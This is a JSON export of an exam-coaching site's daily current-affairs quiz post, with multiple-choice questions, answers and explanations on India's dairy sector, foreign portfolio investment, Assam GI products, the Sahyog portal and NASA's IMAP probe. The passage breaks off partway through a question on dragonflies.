{"id":2487,"date":"2025-10-01T14:01:06","date_gmt":"2025-10-01T14:01:06","guid":{"rendered":"https:\/\/iasquest.com\/?p=2487"},"modified":"2026-02-11T18:51:42","modified_gmt":"2026-02-11T18:51:42","slug":"daily-current-affairs-01-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-01-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 01-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With respect to the dairy sector in India, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. India is the world\u2019s largest milk producer, contributing nearly a quarter of the world\u2019s supply.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. More than 50% of dairy farmers in India are women.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) I only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) II only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both 1 and II&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (c) Both 1 and II&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> India\u2019s Dairy Sector &#8211; \u201cAnchoring Nutrition and Income Security\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>India&#8217;s Dairy Sector<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>India is the <strong>world\u2019s largest milk producer<\/strong>, contributing <strong>~25% of global supply<\/strong>. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Dairy contributes <strong>5% to India\u2019s GDP<\/strong> and supports <strong>8 crore farmers<\/strong>, mostly smallholders.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Sector Growth (2014\u20132024)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Milk production<\/strong> increased by <strong>63.56%<\/strong> to <strong>239.3 million tonnes<\/strong>.<\/li>\n\n\n\n<li><strong>Per capita milk availability<\/strong> rose by <strong>48%<\/strong> to <strong>471 grams\/day<\/strong>.<\/li>\n\n\n\n<li><strong>Bovine productivity<\/strong> grew by <strong>27.39%<\/strong>, highest globally.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"607\" height=\"250\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-6.jpg\" alt=\"\" class=\"wp-image-2490\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-6.jpg 607w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-6-300x124.jpg 300w\" sizes=\"auto, (max-width: 607px) 100vw, 607px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Women in Dairy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li><strong>70% of dairy workforce<\/strong> are women; <strong>35% participate in cooperatives<\/strong>. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li><strong>48,000+ women-led dairy cooperatives<\/strong> operate nationwide.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Scientific &amp; Technological Advances<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li><strong>565.55 lakh artificial inseminations<\/strong> performed in 2024\u201325.<\/li>\n\n\n\n<li><strong>IVF labs (22)<\/strong> and <strong>sex-sorted semen (10.32 million doses)<\/strong> support breed improvement.<\/li>\n\n\n\n<li><strong>38,736 MAITRIs<\/strong> trained to deliver doorstep breeding and vet services.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Genetic &amp; Breed Improvement<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li><strong>Rashtriya Gokul Mission<\/strong> aims to improve indigenous breeds and productivity.<\/li>\n\n\n\n<li><strong>3,747 progeny-tested bulls<\/strong> and <strong>132 breed farms<\/strong> established.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"467\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-4.jpg\" alt=\"\" class=\"wp-image-2488\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-4.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-4-300x233.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Sustainability Push<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li><strong>Ethno Veterinary Medicine (EVM)<\/strong> integrates Ayurveda with animal healthcare.<\/li>\n\n\n\n<li>Focus on <strong>natural farming, organic manure, and biogas<\/strong> for circular economy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>White Revolution 2.0 (2024\u20132029)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Goal: Raise milk procurement to <strong>1007 lakh kg\/day<\/strong> by 2029.<\/li>\n\n\n\n<li>Plan: Set up <strong>75,000 new dairy cooperatives<\/strong> and strengthen <strong>46,422 existing ones<\/strong>.<\/li>\n\n\n\n<li>Launch of <strong>3 Multi-State Cooperatives<\/strong> for feed, sustainability, and animal by-product management.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Consider the following statements about the Rashtriya Gokul Mission:<\/strong> <br><br>I. It is important for the upliftment of rural poor as majority of low producing indigenous animals are with small and marginal farmers and landless labourers.\u00a0 <br>II. It was initiated to promote indigenous cattle and buffalo rearing and conservation in a scientific and holistic manner.\u00a0 <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) I only\u00a0\u00a0 <br>(b) II only\u00a0\u00a0 <br><strong>(c) Both I and II\u00a0\u00a0<\/strong><br>(d) Neither I nor II<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172546\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172546<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>2. Which of the following would include Foreign Portfolio Investment (FPI) in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">1. Setting up subsidiaries and joint ventures<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">2. American Depository Receipts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">3. Investment in physical assets<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">4. Purchase of shares and stocks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">5. Investment in government securities<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">6. Real Estate Investment Trusts (REITs)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(a) 1, 2 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(b) 1, 3, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(c) 2, 4, 5 and 6 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(d) 1, 2, 3, 4, 5 and 6<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Answer: (c) 2, 4, 5 and 6 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>In NEWS: <\/strong>FPIs withdraw from Indian equities for third straight month<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Foreign portfolio investment (FPI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>Foreign portfolio investment (FPI) involves holding financial assets from a country outside of the investor&#8217;s own.<\/li>\n\n\n\n<li>FPI holdings can include stocks,<strong> American Depository Receipts<\/strong>, Global Depository Receipts, bonds, mutual funds, and exchange traded funds.<\/li>\n\n\n\n<li>FPI consists of passive ownership. An investor does not actively manage the investments or the companies that issue the investments. They do not have direct control over the assets or the businesses.<\/li>\n\n\n\n<li>Securities and Exchange Board of India (SEBI) operates the FPIs. Recently, SEBI has introduced the Foreign Portfolio Investors Regulations, 2019.<\/li>\n\n\n\n<li>FPIs also need to follow the Income-tax Act, 1961 and Foreign Exchange Management Act, 1999.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>What Includes Foreign Portfolio Investment (FPI) in India?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li><strong>Purchase of shares and stocks<\/strong> of Indian companies on stock exchanges by foreign investors.<\/li>\n\n\n\n<li><strong>Investment in government securities <\/strong>(like bonds) by foreign investors.<\/li>\n\n\n\n<li><strong>Investment in corporate bonds and debentures <\/strong>by foreign portfolio investors.<\/li>\n\n\n\n<li><strong>Mutual funds <\/strong>or other collective investment schemes managed by foreign entities investing in Indian securities.<\/li>\n\n\n\n<li>Foreign Institutional Investors (FIIs) and Qualified Foreign Investors (QFIs) investing in listed securities.<\/li>\n\n\n\n<li>Derivative instruments linked to Indian securities, traded by foreign investors.<\/li>\n\n\n\n<li>Units of<strong> Real Estate Investment Trusts (REITs) and Infrastructure Investment Trusts (InvITs)<\/strong> bought by foreign portfolio investors.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>An individual must fulfill the following conditions to register as FPI:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>As per the Income-tax Act 1961, the applicant should not be a non-resident Indian<\/li>\n\n\n\n<li>Should not be a citizen of a country that falls under the public statement of FATF.<\/li>\n\n\n\n<li>Must be eligible to invest in securities outside the country.<\/li>\n\n\n\n<li>To invest in securities, he\/she must have the approval of the MOA \/ AOA \/ Agreement.<\/li>\n\n\n\n<li>A certificate that grants the applicant holds an interest of the development of the securities market.<\/li>\n\n\n\n<li>In case the bank is the applicant, it must belong to a nation whose central bank is a member of the Bank for International Settlements.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Impacts of FPI Withdrawal from Indian Equities:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li><strong>Stock Market Decline: <\/strong>Large-scale FPI selling leads to fall in stock prices due to increased supply of shares in the market. This can trigger broader market corrections or increased volatility.<\/li>\n\n\n\n<li><strong>Currency Depreciation:<\/strong> FPIs usually bring in foreign currency to buy equities. Their withdrawal means selling of Indian rupees for foreign currencies, causing rupee depreciation. This can make imports costlier and increase inflationary pressures.<\/li>\n\n\n\n<li><strong>Reduced Market Liquidity: <\/strong>FPIs contribute significantly to market liquidity. Withdrawal reduces liquidity, potentially leading to wider bid-ask spreads and reduced ease of trading.<\/li>\n\n\n\n<li><strong>Increased Cost of Capital: <\/strong>Falling equity prices and market instability can deter new investment and increase the cost of raising capital for Indian companies via equity markets.<\/li>\n\n\n\n<li><strong>Pressure on Financial Markets: <\/strong>FPI outflows can spill over into other asset classes like debt, increasing yields on government bonds and raising borrowing costs for the government and corporates.<\/li>\n\n\n\n<li><strong>Investor Sentiment and Confidence: <\/strong>Large FPI sell-offs may signal or cause a loss of investor confidence in the Indian economy or policy environment, affecting domestic investor behavior as well.<\/li>\n\n\n\n<li><strong>Impact on Economic Growth:<\/strong> Reduced investment and higher borrowing costs can slow down economic activities, impacting growth prospects.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><strong>Q. Which of the following would include Foreign Direct Investment in India?<\/strong> <br><br>1. Subsidiaries of foreign companies in India <br>2. Majority foreign equity holding in Indian companies <br>3. Companies exclusively financed by foreign companies <br>4. Portfolio investment <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br>(a) 1, 2, 3 and 4 <br>(b) 2 and 4 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3 only<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/fpis-withdraw-from-indian-equities-for-third-straight-month\/article70114125.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/fpis-withdraw-from-indian-equities-for-third-straight-month\/article70114125.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>3. Joha Rice, Kaji Nemu and Tezpur Litchi are few GI tagged products from which of the following states?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(a) Bihar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(b) Manipur<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(c) Kerala<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(d) Assam<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Answer: (d) Assam<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>In NEWS: <\/strong>Assam\u2019s GI farm basket gains with Joha Rice and Boka Saul rice and Kaji Nemu products and Tezpur Litchi see ~6\u201311% savings, lifting demand and farm incomes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Joha Rice:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>Origin: Indigenous to Assam.<\/li>\n\n\n\n<li>Features: Naturally fragrant, soft texture, and excellent taste. Grown without synthetic chemicals in traditional methods.<\/li>\n\n\n\n<li>Uses: Preferred in traditional Assamese dishes like pulao and kheer.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Kaji Nemu (Assam Lemon):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li>Citrus fruit (lemon) variety native to Assam.<\/li>\n\n\n\n<li>Features: Elongated, smooth-skinned, juicy, less acidic, and highly aromatic.<\/li>\n\n\n\n<li>Medicinal Use: Rich in vitamin C and known for digestive benefits.<\/li>\n\n\n\n<li>Culinary Role: Widely used in Assamese cuisine for garnishing and pickles.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Tezpur Litchi:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li>Type: Litchi fruit cultivated around Tezpur town, Assam.<\/li>\n\n\n\n<li>Features: Known for its sweet taste, juicy pulp, and small seed \u2014 indicating high pulp-to-seed ratio.<\/li>\n\n\n\n<li>Climate Suitability: Grown in the alluvial soil and humid subtropical climate of Tezpur.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">All three products are from the state of Assam. <strong>Hence option (d) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"379\" height=\"334\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-5.jpg\" alt=\"\" class=\"wp-image-2489\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-5.jpg 379w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-5-300x264.jpg 300w\" sizes=\"auto, (max-width: 379px) 100vw, 379px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><strong>Q. Which of the following has\/have been accorded \u2018Geographical Indication\u2019 status?<\/strong> <br><br>1. Banaras Brocades and Sarees <br>2. Rajasthani Daal-Bati-Churma <br>3. Tirupathi Laddu <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172651\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172651<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>4. The Sahyog Portal, recently seen in the news was launched to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(a) Promote digital payments between government agencies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(b) Support rural digital literacy programs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(c) Facilitate takedown of illegal online content by authorised agencies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(d) Enable Aadhaar verification of social media users.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Answer: (c) Facilitate takedown of illegal online content by authorised agencies.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>In NEWS:<\/strong> X, formerly Twitter, said that it would appeal the Karnataka High Court\u2019s decision that rejected its challenge to the Union government\u2019s Sahyog portal.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Sahyog Portal:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>Sahyog Portal is a digital platform launched by the Union Government of India to enable State police and authorised agencies to send takedown notices to social media platforms.<\/li>\n\n\n\n<li>The portal aims to <strong>facilitate swift removal of content deemed illegal or harmful, especially in cases involving public order, national security, or unlawful content. Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>It functions as part of the implementation of the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Functionality:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>Acts as a centralised interface for sending takedown notices.<ul><li>Targets illegal content (e.g., misinformation, hate speech, threats to public order).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Bypasses the need for lengthy judicial orders in urgent cases.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>It brings into focus the balance between national security and free speech.<\/li>\n\n\n\n<li>The portal raises important questions on intermediary liability, due process, and digital rights in India.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><strong>Q. The terms &#8216;WannaCry, Petya and Eternal Blue&#8217; sometimes mentioned in the news recently are related to<\/strong> <br><br>(a) Exoplanets <br>(b) Cryptocurrency <br><strong>(c) Cyber attacks<\/strong> <br>(d) Mini satellites<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/technology\/deeply-concerned-by-karnataka-high-courts-order-x-corp\/article70107687.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/technology\/deeply-concerned-by-karnataka-high-courts-order-x-corp\/article70107687.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>6. What is the purpose of \u2018Interstellar Mapping and Acceleration Probe (IMAP)\u2019, launched by NASA recently?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(a) To explore and map the very boundaries of the heliosphere<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(b) To study the surface features of exoplanets in nearby star systems<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(c) To observe black holes and gravitational waves from deep space<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(d) To monitor the ozone depletion and atmospheric changes on Earth from space<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Answer: (a) To explore and map the very boundaries of the heliosphere<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>In NEWS: <\/strong>NASA IMAP to show how solar particles are energised and shield us<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Interstellar Mapping and Acceleration Probe (IMAP):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>IMAP was launched by NASA on September 24 to study the heliosphere&#8217;s boundary and trace energetic particles. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>The spacecraft is equipped with 10 scientific instruments, including neutral atom detectors (IMAP-Lo, Hi, Ultra) and sensors for magnetic fields, dust, and solar-wind particles.<\/li>\n\n\n\n<li>IMAP will operate from the Sun\u2013Earth Lagrange Point 1 (L1), about 1.6 million km from Earth, enabling stable observation with minimal fuel use.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>IMAP aims to:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>Map the heliosphere\u2019s outer boundary (heliopause)<\/li>\n\n\n\n<li>Track particle acceleration and movement<\/li>\n\n\n\n<li>Observe solar wind\u2013interstellar medium interactions<\/li>\n\n\n\n<li>IMAP-Lo will detect interstellar hydrogen and deuterium, possibly distinguishing primary vs. secondary atomic populations at the heliopause.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Applications &amp; Impacts<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">IMAP data will:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>Improve space weather forecasting<\/li>\n\n\n\n<li>Aid in protecting satellites and astronauts<\/li>\n\n\n\n<li>Enhance knowledge of solar system shielding from cosmic rays<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><strong>Q. What is the purpose of \u2018evolved Laser Interferometer Space Antenna\u2019 (eLISA) project?<\/strong> <br><br>(a) To detect neutrinos <br><strong>(b) To detect gravitational waves<\/strong> <br>(c) To detect the effectiveness of missile defence system <br>(d) To study the effect of solar flares on our communication systems<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/nasa-imap-to-show-how-solar-particles-are-energised-and-shield-us\/article70112607.ece#:~:text=Based%20on%20mission%20design%20and,are%20energised%20in%20the%20heliosphere\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/nasa-imap-to-show-how-solar-particles-are-energised-and-shield-us\/article70112607.ece#:~:text=Based%20on%20mission%20design%20and,are%20energised%20in%20the%20heliosphere<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Statement I: <\/strong>Dragonflies and damselflies are bioindicators of wetland ecosystem health.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Statement II: <\/strong>Larvae of Dragonflies and damselflies require clean, oxygen-rich water to survive.\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Statement III: <\/strong>One dragonfly can consume 30 to 100 mosquitoes per day, making them ecologically important for natural mosquito control<strong>.\u00a0\u00a0<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement 